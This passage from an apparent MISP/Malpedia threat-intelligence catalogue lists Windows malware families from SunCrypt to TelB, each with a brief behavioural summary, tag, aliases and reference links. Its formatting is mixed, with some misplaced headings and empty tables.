<td><a href="https://unit42.paloaltonetworks.com/strategically-aged-domain-detection/">https://unit42.paloaltonetworks.com/strategically-aged-domain-detection/</a></td>
</tr>
<tr>
<td><a href="https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/">https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/</a></td>
</tr>
<tr>
<td><a href="https://netresec.com/?b=2113a6a">https://netresec.com/?b=2113a6a</a></td>
</tr>
<tr>
<td><a href="https://netresec.com/?b=212a6ad">https://netresec.com/?b=212a6ad</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/0xrb/status/1339199268146442241">https://twitter.com/0xrb/status/1339199268146442241</a></td>
</tr>
<tr>
<td><a href="https://notes.netbytesec.com/2021/01/solarwinds-attack-sunbursts-dll.html">https://notes.netbytesec.com/2021/01/solarwinds-attack-sunbursts-dll.html</a></td>
</tr>
<tr>
<td><a href="https://www.youtube.com/watch?v=dV2QTSecpc">https://www.youtube.com/watch?v=dV2QTSecpc</a></td>
</tr>
</tbody>
</table>
SunCrypt

According to PCrisk, Suncrypt ransomware prevents victims from accessing files by encryption. It also renames all encrypted files and creates a ransom message. It renames encrypted files by appending a string of random characters as the new extension.

The tag is: $\textit{misp-galaxy:malpedia}=$“SunCrypt”

SunCrypt is also known as:

Table 4228. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.suncrypt">https://malpedia.caad.fkie.fraunhofer.de/details/win.suncrypt</a></td>
</tr>
<tr>
<td><a href="https://analyst1.com/blog/ransom-mafia-analysis-of-the-worlds-first-ransomware-cartel">https://analyst1.com/blog/ransom-mafia-analysis-of-the-worlds-first-ransomware-cartel</a></td>
</tr>
<tr>
<td><a href="https://medium.com/s2wlab/case-analysis-of-suncrypt-ransomware-negotiation-and-bitcoin-transaction-43a2194ac0bc">https://medium.com/s2wlab/case-analysis-of-suncrypt-ransomware-negotiation-and-bitcoin-transaction-43a2194ac0bc</a></td>
</tr>
<tr>
<td><a href="https://medium.com/@sapphirex00/diving-into-the-sun-suncrypt-a-new-neighbour-in-the-ransomware-mafia-d89010c9df83">https://medium.com/@sapphirex00/diving-into-the-sun-suncrypt-a-new-neighbour-in-the-ransomware-mafia-d89010c9df83</a></td>
</tr>
</tbody>
</table>
### SunOrcal

The tag is: *misp-galaxy:malpedia=“SunOrcal”*

SunOrcal is also known as:

*Table 4229. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.sunorcal">https://malpedia.caad.fkie.fraunhofer.de/details/win.sunorcal</a></td>
</tr>
</tbody>
</table>

### SunSeed

According to Proofpoint, this is a Lua-based malware likely used by a nation-state sponsored
attacker used to target European government personnel involved in managing the logistics of refugees fleeing Ukraine.

The tag is: \textit{misp-galaxy:malpedia="SunSeed"}

SunSeed is also known as:

\textit{Table 4230. Table References}

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.sunseed">https://malpedia.caad.fkie.fraunhofer.de/details/win.sunseed</a></td>
</tr>
</tbody>
</table>

\textbf{SuperBear RAT}

The tag is: \textit{misp-galaxy:malpedia="SuperBear RAT"}

SuperBear RAT is also known as:

\textit{Table 4231. Table References}

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.superbear">https://malpedia.caad.fkie.fraunhofer.de/details/win.superbear</a></td>
</tr>
<tr>
<td><a href="https://0x0v1.com/posts/superbear/superbear/">https://0x0v1.com/posts/superbear/superbear/</a></td>
</tr>
</tbody>
</table>

\textbf{SUPERNova}

According to CISA, SUPERNova is a malicious webshell backdoor that allows a remote operator to dynamically inject C# source code into a web portal to subsequently inject code. APT actors use SUPERNova to perform reconnaissance, conduct domain mapping, and steal sensitive information and credentials.

The tag is: \textit{misp-galaxy:malpedia="SUPERNova"}

SUPERNova is also known as:

\textit{Table 4232. Table References}

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.supernova">https://malpedia.caad.fkie.fraunhofer.de/details/win.supernova</a></td>
</tr>
<tr>
<td><a href="https://www.youtube.com/watch?v=7WX5fCEzTiA">https://www.youtube.com/watch?v=7WX5fCEzTiA</a></td>
</tr>
<tr>
<td><a href="https://github.com/fireeye/sunburst_countermeasures/pull/5">https://github.com/fireeye/sunburst_countermeasures/pull/5</a></td>
</tr>
<tr>
<td><a href="https://github.com/fireeye/sunburst_countermeasures">https://github.com/fireeye/sunburst_countermeasures</a></td>
</tr>
</tbody>
</table>

1904
SuppoBox

The tag is: misp-galaxy:malpedia="SuppoBox"

SuppoBox is also known as:

- Bayrob
- Nivdort

Table 4233. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.suppobox
surtr

According to PCrisk, Surtr is ransomware. Malware of this type encrypts files (and renames them) and generates a ransom note. Surtr appends the decryptmydata@mailfence.com email address and the ".SURT" extension to filenames.

The tag is: misp-galaxy:malpedia="surtr"

surtr is also known as:

Table 4234. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.surtr">https://malpedia.caad.fkie.fraunhofer.de/details/win.surtr</a></td>
</tr>
</tbody>
</table>

SVCReady

According to PCrisk, SVCReady collects information about the infected system such as username, computer name, time zone, computer manufacturer, BIOS, and firmware. Also, it gathers lists of running processes and installed software. SVCReady sends collected data to the C2 server. Additionally, SVCReady attempts to maintain its foothold on the system by creating a scheduled task.

The tag is: misp-galaxy:malpedia="SVCReady"

SVCReady is also known as:

Table 4235. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.svcready">https://malpedia.caad.fkie.fraunhofer.de/details/win.svcready</a></td>
</tr>
</tbody>
</table>
swen

The tag is: `misp-galaxy:malpedia=“swen”`

swen is also known as:

Table 4236. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.swen">https://malpedia.caad.fkie.fraunhofer.de/details/win.swen</a></td>
</tr>
</tbody>
</table>

SwiftSlicer

According to ESET, this is a wiper written in Go, that was deployed against an Ukrainian organization on January 25th 2023 through Group Policy, which suggests that the attackers had taken control of the victim’s Active Directory environment.

The tag is: `misp-galaxy:malpedia=“SwiftSlicer”`

SwiftSlicer is also known as:

- JaguarBlade

Table 4237. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.swiftslicer">https://malpedia.caad.fkie.fraunhofer.de/details/win.swiftslicer</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/ESETresearch/status/1618960022150729728">https://twitter.com/ESETresearch/status/1618960022150729728</a></td>
</tr>
</tbody>
</table>

Sword

The tag is: `misp-galaxy:malpedia=“Sword”`

Sword is also known as:

Table 4238. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.sword">https://malpedia.caad.fkie.fraunhofer.de/details/win.sword</a></td>
</tr>
</tbody>
</table>
**sykipot**

The tag is: `misp-galaxy:malpedia="sykipot"`

sykipot is also known as:

- Wkysol
- getkys

*Table 4239. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.sykipot">https://malpedia.caad.fkie.fraunhofer.de/details/win.sykipot</a></td>
</tr>
<tr>
<td><a href="https://blog.trendmicro.com/trendlabs-security-intelligence/sykipot-now-targeting-us-civil-aviation-sector-information/">https://blog.trendmicro.com/trendlabs-security-intelligence/sykipot-now-targeting-us-civil-aviation-sector-information/</a></td>
</tr>
<tr>
<td><a href="https://community.rsa.com/thread/185437">https://community.rsa.com/thread/185437</a></td>
</tr>
<tr>
<td><a href="https://www.alienvault.com/blogs/labs-research/sykipot-is-back">https://www.alienvault.com/blogs/labs-research/sykipot-is-back</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/research/threat-profiles/bronze-edison">https://www.secureworks.com/research/threat-profiles/bronze-edison</a></td>
</tr>
<tr>
<td><a href="https://www.symantec.com/connect/blogs/sykipot-attacks">https://www.symantec.com/connect/blogs/sykipot-attacks</a></td>
</tr>
</tbody>
</table>

**SynAck**

The tag is: `misp-galaxy:malpedia="SynAck"`

SynAck is also known as:

*Table 4240. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.synack">https://malpedia.caad.fkie.fraunhofer.de/details/win.synack</a></td>
</tr>
<tr>
<td><a href="https://therecord.media/synack-ransomware-gang-releases-decryption-keys-for-old-victims/">https://therecord.media/synack-ransomware-gang-releases-decryption-keys-for-old-victims/</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/synack-targeted-ransomware-uses-the-doppelganging-technique/85431/">https://securelist.com/synack-targeted-ransomware-uses-the-doppelganging-technique/85431/</a></td>
</tr>
</tbody>
</table>

**SyncCrypt**

The tag is: `misp-galaxy:malpedia="SyncCrypt"`

SyncCrypt is also known as:

*Table 4241. Table References*
**SynFlooder**

The tag is: `misp-galaxy:malpedia="SynFlooder"`

SynFlooder is also known as:

*Table 4242. Table References*

- [Links](https://malpedia.caad.fkie.fraunhofer.de/details/win.synflooder)
- [Links](https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf)

**Synth Loader**

The tag is: `misp-galaxy:malpedia="Synth Loader"`

Synth Loader is also known as:

*Table 4243. Table References*

- [Links](https://malpedia.caad.fkie.fraunhofer.de/details/win.synth_loader)

**Sys10**

The tag is: `misp-galaxy:malpedia="Sys10"`

Sys10 is also known as:

*Table 4244. Table References*

- [Links](https://malpedia.caad.fkie.fraunhofer.de/details/win.sys10)
- [Links](https://securelist.com/analysis/publications/69953/the-naikon-apt/)
- [Links](https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf)
Syscon

SYSCON is a Remote Access Trojan used in a targeted champign against US government agencies. It has been recently observed in conjunction with CARROTBAT and CARROTBALL downloaders and it uses the File Transfer Protocol as Command and Control channel. Use of the family is attributed by Unit 42 to the Konni Group.

The tag is: misp-galaxy:malpedia="Syscon"

Syscon is also known as:

Table 4245. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.syscon">https://malpedia.caad.fkie.fraunhofer.de/details/win.syscon</a></td>
</tr>
</tbody>
</table>

SysGet

The tag is: misp-galaxy:malpedia="SysGet"

SysGet is also known as:

Table 4246. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.sysget">https://malpedia.caad.fkie.fraunhofer.de/details/win.sysget</a></td>
</tr>
<tr>
<td><a href="http://researchcenter.paloaltonetworks.com/2017/01/unit42-dragonok-updates-toolset-targets-multiple-geographic-regions/">http://researchcenter.paloaltonetworks.com/2017/01/unit42-dragonok-updates-toolset-targets-multiple-geographic-regions/</a></td>
</tr>
</tbody>
</table>

SysJoker (Windows)

Sysjoker is a backdoor malware that was first discovered in December 2021 by Intezer. It is sophisticated and written from scratch in C++. Sysjoker is a cross-platform malware that has Linux, Windows, and macOS variants. Possible attack vectors for Sysjoker are email attachments, malicious advertisements, and trojanized software.

The tag is: misp-galaxy:malpedia="SysJoker (Windows)"

SysJoker (Windows) is also known as:
**SysKit**

The tag is: *misp-galaxy:malpedia=*"SysKit"*

SysKit is also known as:

- IvizTech
- MANGOPUNCH

**Sysraw Stealer**

Sysraw stealer got its name because at some point, it was started as "ZSysRaw\sysraw.exe". PDB strings suggest the name "Clipsa" though. First stage connects to /WPCoreLog/, the second one to /WPSecurity/. Its behavior suggest that it is an info stealer. It creates a rather large amount of files in a subdirectory (e.g. data) named "1?[+].dat" and POSTs them.

The tag is: *misp-galaxy:malpedia=*"Sysraw Stealer"*

Sysraw Stealer is also known as:

- Clipsa
Sysrv-hello (Windows)

Sysrv is a Golang written Cryptojacking malware. There are Windows and Linux variants.

The tag is: misp-galaxy:malpedia="Sysrv-hello (Windows)"

Sysrv-hello (Windows) is also known as:

Table 4250. Table References

SysScan

The tag is: misp-galaxy:malpedia="SysScan"

SysScan is also known as:

Table 4251. Table References

SystemBC

SystemBC is a proxy malware leveraging SOCKS5. Based on screenshots used in ads on a underground marketplace, Proofpoint decided to call it SystemBC.

SystemBC has been observed occasionally, but more pronounced since June 2019. First samples goes back to October 2018.

The tag is: misp-galaxy:malpedia="SystemBC"

SystemBC is also known as:

• Coroxy
• DroxiDat

Table 4252. Table References
<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.systembc">https://malpedia.caad.fkie.fraunhofer.de/details/win.systembc</a></td>
</tr>
<tr>
<td><a href="https://medium.com/walmartglobaltech/inside-the-systembc-malware-as-a-service-9aa03afd09c6">https://medium.com/walmartglobaltech/inside-the-systembc-malware-as-a-service-9aa03afd09c6</a></td>
</tr>
<tr>
<td><a href="https://www.esentire.com/blog/esentire-threat-intelligence-malware-analysis-batloader">https://www.esentire.com/blog/esentire-threat-intelligence-malware-analysis-batloader</a></td>
</tr>
<tr>
<td><a href="https://www.fireeye.com/blog/threat-research/2021/02/melting-unc2198-icedid-to-ransomware-operations.html">https://www.fireeye.com/blog/threat-research/2021/02/melting-unc2198-icedid-to-ransomware-operations.html</a></td>
</tr>
<tr>
<td><a href="https://www.bitsight.com/blog/systembc-multipurpose-proxy-bot-still-breathes">https://www.bitsight.com/blog/systembc-multipurpose-proxy-bot-still-breathes</a></td>
</tr>
<tr>
<td><a href="https://www.elastic.co/security-labs/cuba-ransomware-campaign-analysis">https://www.elastic.co/security-labs/cuba-ransomware-campaign-analysis</a></td>
</tr>
<tr>
<td><a href="https://www.intrinsec.com/proxynotshell-owassrf-merry-xchange/">https://www.intrinsec.com/proxynotshell-owassrf-merry-xchange/</a></td>
</tr>
<tr>
<td><a href="https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself/">https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself/</a></td>
</tr>
<tr>
<td><a href="https://labs.f-secure.com/blog/prelude-to-ransomware-systembc/">https://labs.f-secure.com/blog/prelude-to-ransomware-systembc/</a></td>
</tr>
<tr>
<td><a href="https://medium.com/walmartglobaltech/systembc-powershell-version-68c9aad0f85c">https://medium.com/walmartglobaltech/systembc-powershell-version-68c9aad0f85c</a></td>
</tr>
<tr>
<td><a href="https://mandiant.widen.net/s/pkffwrbjlz/m-trends-2023">https://mandiant.widen.net/s/pkffwrbjlz/m-trends-2023</a></td>
</tr>
<tr>
<td><a href="https://blog.reversinglabs.com/blog/code-reuse-across-packers-and-dll-loaders">https://blog.reversinglabs.com/blog/code-reuse-across-packers-and-dll-loaders</a></td>
</tr>
<tr>
<td><a href="https://docs.velociraptor.app/exchange/artifacts/pages/systembc/">https://docs.velociraptor.app/exchange/artifacts/pages/systembc/</a></td>
</tr>
<tr>
<td><a href="https://community.riskiq.com/article/47766fb8d">https://community.riskiq.com/article/47766fb8d</a></td>
</tr>
<tr>
<td><a href="https://www.cisa.gov/uscert/ncas/alerts/aa22-249a">https://www.cisa.gov/uscert/ncas/alerts/aa22-249a</a></td>
</tr>
<tr>
<td><a href="https://blog.talosintelligence.com/2022/08/modernloader-delivers-multiple-stealers.html">https://blog.talosintelligence.com/2022/08/modernloader-delivers-multiple-stealers.html</a></td>
</tr>
<tr>
<td><a href="https://cyber.wtf/2023/02/09/defeating-vmprotects-latest-tricks/">https://cyber.wtf/2023/02/09/defeating-vmprotects-latest-tricks/</a></td>
</tr>
<tr>
<td><a href="https://www.mandiant.com/resources/chasing-avaddon-ransomware">https://www.mandiant.com/resources/chasing-avaddon-ransomware</a></td>
</tr>
</tbody>
</table>
Szribi

The tag is: *misp-galaxy:malpedia*="Szribi"

Szribi is also known as:

Table 4253. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.szribi">https://malpedia.caad.fkie.fraunhofer.de/details/win.szribi</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/research/srizbi">https://www.secureworks.com/research/srizbi</a></td>
</tr>
</tbody>
</table>

TabMsgSQL

The tag is: *misp-galaxy:malpedia*="TabMsgSQL"

TabMsgSQL is also known as:

Table 4254. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.tabmsgsql">https://malpedia.caad.fkie.fraunhofer.de/details/win.tabmsgsql</a></td>
</tr>
</tbody>
</table>
taidoor

The tag is: misp-galaxy:malpedia="taidoor"

taidoor is also known as:

- simbot

Table 4255. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.taidoor">https://malpedia.caad.fkie.fraunhofer.de/details/win.taidoor</a></td>
</tr>
<tr>
<td><a href="https://blog.reversinglabs.com/blog/taidoor-a-truly-persistent-threat">https://blog.reversinglabs.com/blog/taidoor-a-truly-persistent-threat</a></td>
</tr>
<tr>
<td><a href="http://contagiodump.blogspot.com/2011/10/sep-28-cve-2010-3333-manuscript-with.html">http://contagiodump.blogspot.com/2011/10/sep-28-cve-2010-3333-manuscript-with.html</a></td>
</tr>
<tr>
<td><a href="https://www.nttsecurity.com/docs/librariesprovider3/resources/taidoor%E3%82%92%E7%94%A8%E3%81%84%E3%81%9F%E6%A8%99%E7%9A%84%E5%9E%8B%E6%94%BB%E6%92%83%E8%A7%A3%E6%9E%90%E3%83%AC%E3%83%9D%E3%83%9D%E3%83%BC%E3%83%AC%E3%83%92%E3%83%88_v1">https://www.nttsecurity.com/docs/librariesprovider3/resources/taidoor%E3%82%92%E7%94%A8%E3%81%84%E3%81%9F%E6%A8%99%E7%9A%84%E5%9E%8B%E6%94%BB%E6%92%83%E8%A7%A3%E6%9E%90%E3%83%AC%E3%83%9D%E3%83%9D%E3%83%BC%E3%83%AC%E3%83%92%E3%83%88_v1</a></td>
</tr>
<tr>
<td><a href="https://us-cert.cisa.gov/ncas/analysis-reports/ar20-216a">https://us-cert.cisa.gov/ncas/analysis-reports/ar20-216a</a></td>
</tr>
</tbody>
</table>

TAINTEDSCRIBE

The tag is: misp-galaxy:malpedia="TAINTEDSCRIBE"

TAINTEDSCRIBE is also known as:

Table 4256. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.taintedscribe">https://malpedia.caad.fkie.fraunhofer.de/details/win.taintedscribe</a></td>
</tr>
<tr>
<td><a href="https://blog.reversinglabs.com/blog/hidden-cobra">https://blog.reversinglabs.com/blog/hidden-cobra</a></td>
</tr>
<tr>
<td><a href="https://www.us-cert.gov/ncas/analysis-reports/ar20-133b">https://www.us-cert.gov/ncas/analysis-reports/ar20-133b</a></td>
</tr>
</tbody>
</table>
**Taleret**

The tag is: `misp-galaxy:malpedia="Taleret"`

Taleret is also known as:

Table 4257. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.taleret">https://malpedia.caad.fkie.fraunhofer.de/details/win.taleret</a></td>
</tr>
<tr>
<td><a href="http://contagioexchange.blogspot.com/2013/08/taleret-strings-apt-1.html">http://contagioexchange.blogspot.com/2013/08/taleret-strings-apt-1.html</a></td>
</tr>
</tbody>
</table>

**Tandfuy**

The tag is: `misp-galaxy:malpedia="Tandfuy"`

Tandfuy is also known as:

Table 4258. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.tandfuy">https://malpedia.caad.fkie.fraunhofer.de/details/win.tandfuy</a></td>
</tr>
</tbody>
</table>

**Tapaoux**

The tag is: `misp-galaxy:malpedia="Tapaoux"`

Tapaoux is also known as:

Table 4259. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.tapaoux">https://malpedia.caad.fkie.fraunhofer.de/details/win.tapaoux</a></td>
</tr>
</tbody>
</table>

**TargetCompany**

This ransomware uses a combination of different crypto algorithms (ChaCha20, AES-128, Curve25519). The activity of this malware is dated to mid-June 2021. The extension of the encrypted files are set to the compromised company: .<target_company> A decryptor was released on 2022-02-07 by AVAST

The tag is: `misp-galaxy:malpedia="TargetCompany"`

TargetCompany is also known as:

- Fargo
- Mallox
**Tohnichi**

Table 4260. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.targetcompany">https://malpedia.caad.fkie.fraunhofer.de/details/win.targetcompany</a></td>
</tr>
<tr>
<td><a href="https://securityaffairs.co/wordpress/127761/malware/targetcompany-ransomware-decryptor.html">https://securityaffairs.co/wordpress/127761/malware/targetcompany-ransomware-decryptor.html</a></td>
</tr>
<tr>
<td><a href="https://decoded.avast.io/threatresearch/decrypted-targetcompany-ransomware/">https://decoded.avast.io/threatresearch/decrypted-targetcompany-ransomware/</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/mallox-ransomware">https://unit42.paloaltonetworks.com/mallox-ransomware</a></td>
</tr>
<tr>
<td><a href="https://www.sangfor.com/blog/cybersecurity/new-threat-mallox-ransomware">https://www.sangfor.com/blog/cybersecurity/new-threat-mallox-ransomware</a></td>
</tr>
<tr>
<td><a href="https://blog.cyble.com/2022/12/08/mallox-ransomware-showing-signs-of-increased-activity/">https://blog.cyble.com/2022/12/08/mallox-ransomware-showing-signs-of-increased-activity/</a></td>
</tr>
<tr>
<td><a href="https://id-ransomware.blogspot.com/2021/06/tohnichi-ransomware.html">https://id-ransomware.blogspot.com/2021/06/tohnichi-ransomware.html</a></td>
</tr>
</tbody>
</table>

**Tarsip**

The tag is: *misp-galaxy:malpedia="Tarsip"*

Tarsip is also known as:

Table 4261. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.tarsip">https://malpedia.caad.fkie.fraunhofer.de/details/win.tarsip</a></td>
</tr>
</tbody>
</table>

**Taurus Stealer**

According to Zscaler, Taurus is a stealer that surfaced in June 2020. It is being developed by the author(s) that previously created Predator the Thief. The name overlaps partly with the StealerOne / Terra* family (also aliased Taurus Loader) but appears to be a completely disjunct project.

The tag is: *misp-galaxy:malpedia="Taurus Stealer"*

Taurus Stealer is also known as:

Table 4262. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
</tr>
</tbody>
</table>
TClient

Steve Miller pointed out that it is proxy-aware (Tencent) for C&C communication and uses wolfSSL, which makes it stick out.

The tag is: `misp-galaxy:malpedia="TClient"`

TClient is also known as:

- FIRESHADOW

Table 4263. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.tclient">https://malpedia.caad.fkie.fraunhofer.de/details/win.tclient</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/stvemillertime/status/1266050369370677249">https://twitter.com/stvemillertime/status/1266050369370677249</a></td>
</tr>
</tbody>
</table>

tDiscoverer

F-Secure described tDiscoverer (also known as HammerDuke) as interesting because it is written in .NET, and even more so because of its occasional use of Twitter as a C&C communication channel. Some HammerDuke variants only contain a hardcoded C&C server address from which they will retrieve commands, but other HammerDuke variants will first use a custom algorithm to generate a Twitter account name based on the current date. If the account exists, HammerDuke will then search for tweets from that account with links to image files that contain embedded commands for the toolset to execute.

The tag is: `misp-galaxy:malpedia="tDiscoverer"`

tDiscoverer is also known as:
• HAMMERTOSS
• HammerDuke

Table 4264. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.tdiscoverer">https://malpedia.caad.fkie.fraunhofer.de/details/win.tdiscoverer</a></td>
</tr>
<tr>
<td><a href="https://securityintelligence.com/hammertoss-what-me-worry/">https://securityintelligence.com/hammertoss-what-me-worry/</a></td>
</tr>
<tr>
<td><a href="https://www.youtube.com/watch?v=UE9suwyuic8">https://www.youtube.com/watch?v=UE9suwyuic8</a></td>
</tr>
<tr>
<td><a href="https://www2.fireeye.com/rs/848-DID-242/images/rpt-apt29-hammertoss.pdf">https://www2.fireeye.com/rs/848-DID-242/images/rpt-apt29-hammertoss.pdf</a></td>
</tr>
</tbody>
</table>

**TDTESS**

The tag is: `misp-galaxy:malpedia="TDTESS"`

TDTESS is also known as:

Table 4265. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**TeamSpy**

The tag is: `misp-galaxy:malpedia="TeamSpy"`

TeamSpy is also known as:

- TVRAT
- TVSPY
- TeamViewerENT

Table 4266. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.teams">https://malpedia.caad.fkie.fraunhofer.de/details/win.teams</a></td>
</tr>
</tbody>
</table>
TEARDROP

TEARDROP is a memory only dropper that runs as a service, spawns a thread and reads from the file “gracious_truth.jpg”, which likely has a fake JPG header. Next it checks that HKU\SOFTWARE\Microsoft\CTF exists, decodes an embedded payload using a custom rolling XOR algorithm and manually loads into memory an embedded payload using a custom PE-like file format. TEARDROP does not have code overlap with any previously seen malware. FireEye believe that this was used to execute a customized Cobalt Strike BEACON.

The tag is: *misp-galaxy:malpedia=“TEARDROP”*

TEARDROP is also known as:

*Table 4267. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.teardrop">https://malpedia.caad.fkie.fraunhofer.de/details/win.teardrop</a></td>
</tr>
<tr>
<td><a href="https://www.brighttalk.com/webcast/7451/462719">https://www.brighttalk.com/webcast/7451/462719</a></td>
</tr>
<tr>
<td><a href="https://github.com/fireeye/sunburst_countermeasures">https://github.com/fireeye/sunburst_countermeasures</a></td>
</tr>
<tr>
<td><a href="https://blog.securehat.co.uk/malware-analysis/extracting-the-cobalt-strike-config-from-a-teardrop-loader">https://blog.securehat.co.uk/malware-analysis/extracting-the-cobalt-strike-config-from-a-teardrop-loader</a></td>
</tr>
<tr>
<td><a href="https://blog.bushidotoken.net/2022/07/space-invaders-cyber-threats-that-are.html">https://blog.bushidotoken.net/2022/07/space-invaders-cyber-threats-that-are.html</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/TheEnergyStory/status/1342041055563313152">https://twitter.com/TheEnergyStory/status/1342041055563313152</a></td>
</tr>
<tr>
<td><a href="https://www.youtube.com/watch?v=GfbxHy6xnbA">https://www.youtube.com/watch?v=GfbxHy6xnbA</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/craiu/status/1339954817247158272">https://twitter.com/craiu/status/1339954817247158272</a></td>
</tr>
<tr>
<td><a href="https://medium.com/mitre-attack/identifying-unc2452-related-techniques-9f7b6c7f3714">https://medium.com/mitre-attack/identifying-unc2452-related-techniques-9f7b6c7f3714</a></td>
</tr>
<tr>
<td><a href="https://www.youtube.com/watch?v=LA-XESJy2kU">https://www.youtube.com/watch?v=LA-XESJy2kU</a></td>
</tr>
</tbody>
</table>
TefoSteal

The tag is: misp-galaxy:malpedia="TefoSteal"

TefoSteal is also known as:

Table 4268. Table References

TelAndExt

According to Check Point, this is a Telegram-focused infostealer (FTP / Delphi) used to target Iranian expats and dissidents.
The tag is: misp-galaxy:malpedia="TelAndExt"

TelAndExt is also known as:

Table 4269. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.telandext">https://malpedia.caad.fkie.fraunhofer.de/details/win.telandext</a></td>
</tr>
<tr>
<td><a href="https://research.checkpoint.com/2020/rampant-kitten-an-iranian-espionage-campaign/">https://research.checkpoint.com/2020/rampant-kitten-an-iranian-espionage-campaign/</a></td>
</tr>
</tbody>
</table>

**TelB**

According to Check Point, this is a Telegram-focused infostealer (SOAP / Delphi) used to target Iranian expats and dissidents.

The tag is: misp-galaxy:malpedia="TelB"

TelB is also known as:

Table 4270. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.telb">https://malpedia.caad.fkie.fraunhofer.de/details/win.telb</a></td>
